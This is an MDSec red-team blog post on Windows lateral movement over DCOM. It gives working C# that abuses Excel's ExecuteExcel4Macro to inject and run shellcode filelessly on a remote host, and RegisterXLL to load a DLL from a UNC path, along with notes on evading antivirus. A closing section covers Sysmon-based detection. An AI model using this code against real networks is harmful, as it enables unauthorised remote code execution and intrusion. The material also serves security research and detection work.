ActiveBreach

I Like to Move It: Windows Lateral Movement Part 2 – DCOM

Overview

In part 1 of this series, we discussed lateral movement using WMI event subscriptions. During this post we will discuss another of my “go to” techniques for lateral movement, using the Distributed Component Object Model (DCOM). I won’t dwell on this too long as DCOM is covered in many other research posts, but let’s cover a brief introduction to what DCOM is and why it is interesting.

COM is a component of Windows that facilitates interoperability between software, DCOM extends this across the network using remote procedure calls (RPC). Software hosting a COM server (typically within a DLL or exe) on a remote system is therefore able to expose its methods to clients using RPC.

One of the benefits for leveraging DCOM for lateral movement is that the process executing on the remote host is whatever software is hosting the COM server. For example, if abusing the ShellBrowserWindow COM object, execution will occur in an existing explorer.exe process on the remote host. From an offensive perspective, this has not only the obvious benefits of helping to blend in but also due to the significant number of programs exposing methods to DCOM it can be difficult to comprehensively monitor them all for execution.

Discovering DCOM Methods

If we are interested in discovering applications that support DCOM, we can use the Win32_DCOMApplication WMI class to list them:

Using this list, we can instantiate each AppID and list the available methods using the Get-Member cmdlet:

In this example, we can see the exposed methods for the ShellBrowserWindow COM object; one of the well known methods for lateral movement is Document.Application.ShellExecute which resides within this object.

Case Study with Excel

When I first started this research, my original objective was to try and discover a new COM object that could be used for lateral movement over DCOM. Unfortunately, in the limited time I had my search was fairly unfruitful, so instead I’m going to document a couple of my favourite techniques for lateral movement to workstations using Excel.

By creating an instance of the Excel COM class you will discover there are many methods available:

Reviewing these methods, you can find at least two methods that are known to be capable of lateral movement; ExecuteExcel4Macro and RegisterXLL. Let’s walkthrough how we can develop tooling to leverage these methods for lateral movement using C#.

Lateral Movement Using ExecuteExcel4Macro

This technique was first documented by Stan Hegt from Outflank and allows Excel4 macros to be executed remotely. The main benefits of this method is that XLM macros are still not widely supported across anti-virus engines and the technique can be executed in a fileless manner inside the DCOM launched excel.exe process. This approach therefore allows the operator to minimise the indicators associated with the technique and reduce the likelihood of detection.

Firstly, an instance of the Excel COM object needs to be instantiated to facilitate executing its methods; previously we showed how to do this in PowerShell, the equivalent C# is as follows:

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);

At this point, we’re in a position to start calling the XLM code using InvokeMember to execute the instance’s ExecuteExcel4Macro method, where the following can be used to pop calc:

excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "EXEC(\\"calc.exe\\")" });

In order to weaponise this technique, we ideally want it to execute in a fileless manner. As explained by Outflank, XLM code has direct access to the Win32 API so we can leverage this to execute shellcode by writing it to memory and starting a new thread:

var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));
var startaddr = memaddr;

foreach (var b in shellcode) {
	var cb = String.Format("CHAR({0})", b);
	var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)";
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode });
	memaddr++;
}
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" });

This of course can be improved to do remote process injection or speed up execution by moving the bytes in chunks.

Lateral Movement Using RegisterXLL

The second of my favoured lateral movement approaches using Excel is the RegisterXLL method, first documented by Ryan Hanson. This approach is relatively straightforward and as the name implies, the RegisterXLL method allows you to execute an XLL file. This file is simply an DLL with the xlAutoOpen export. However, the beauty of this technique is twofold, the extension for the file is irrelevant and the method accepts a UNC path, meaning that it does not need to be hosted on the system you are laterally moving to.

Creating tooling for this technique is a simple one, and in a few short lines we’re able to create an instance of the Excel COM object and invoke the RegisterXLL method which takes a single argument, the path to the XLL file:

string XLLPath = "\\\\\\\\fileserver\\\\excel.log";
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("RegisterXLL", BindingFlags.InvokeMethod, null, excel, new object[] { XLLPath });

Let’s take a look at this technique in action:

Detection

Detection for DCOM lateral movement techniques can be complex, however generally speaking it is possible to detect that a process has been instantiated through DCOM as it will be executed through the DCOMLaunch service or with DllHost.exe as a parent process. These can be captured using Sysmon Process Create events (ID 1) such as the following:

You will also note the presence of the “/automation -Embedding” arguments used by Excel in this instance which are also a further indicator that the process has been launched through automation.

Although specific to the RegisterXLL technique, it may also be worthwhile monitoring for ImageLoad events (ID 7) where the image is an XLL file:

Detecting the ExecuteExcel4Macro technique is somewhat more complex as the macro code executes in-process and does not necessarily require additional image loads or similar.

The Mordor dataset is now available for this courtesy of @Cyb3rWard0g:

Stay tuned for part 3….

This post was written by Dominic Chell.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2024 MDSec